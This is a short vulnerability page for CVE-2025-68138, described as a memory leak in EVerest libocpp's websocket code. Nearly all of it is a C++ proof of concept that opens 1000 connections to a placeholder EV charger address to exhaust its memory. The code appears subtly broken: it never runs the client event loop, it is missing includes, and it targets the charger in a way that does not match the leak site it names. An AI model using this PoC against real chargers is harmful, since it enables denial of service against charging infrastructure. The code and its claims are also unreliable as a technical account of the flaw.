CVE-2025-68138 EVerest libocpp websocket内存泄漏漏洞

// CVE-2025-68138 Memory Leak PoC // This PoC demonstrates the memory leak in EVerest libocpp websocket connections // Run multiple connection attempts to observe memory growth #include <websocketpp/client.hpp> #include <websocketpp/config/asio_client.hpp> typedef websocketpp::client<websocketpp::config::asio_client> client; int main() { try { client c; c.init_asio(); c.set_access_channels(websocketpp::log::alevel::all); c.clear_access_channels(websocketpp::log::alevel::frame_payload); websocketpp::lib::error_code ec; std::string uri = "wss://target-ev-charger/ws"; // Repeatedly attempt connections to trigger memory leak // Each strdup call in websocket_libwebsockets.cpp allocates memory // that is never freed for (int i = 0; i < 1000; i++) { websocketpp::lib::error_code ec; client::connection_ptr con = c.get_connection(uri, ec); if (ec) { std::cout << "Connection error: " << ec.message() << std::endl; continue; } c.connect(con); std::this_thread::sleep_for(std::chrono::milliseconds(100)); } // Observe memory usage increasing with each connection attempt // Memory will not be released due to missing free() calls } catch (websocketpp::exception const & e) { std::cout << "WebSocket exception: " << e.what() << std::endl; } return 0; }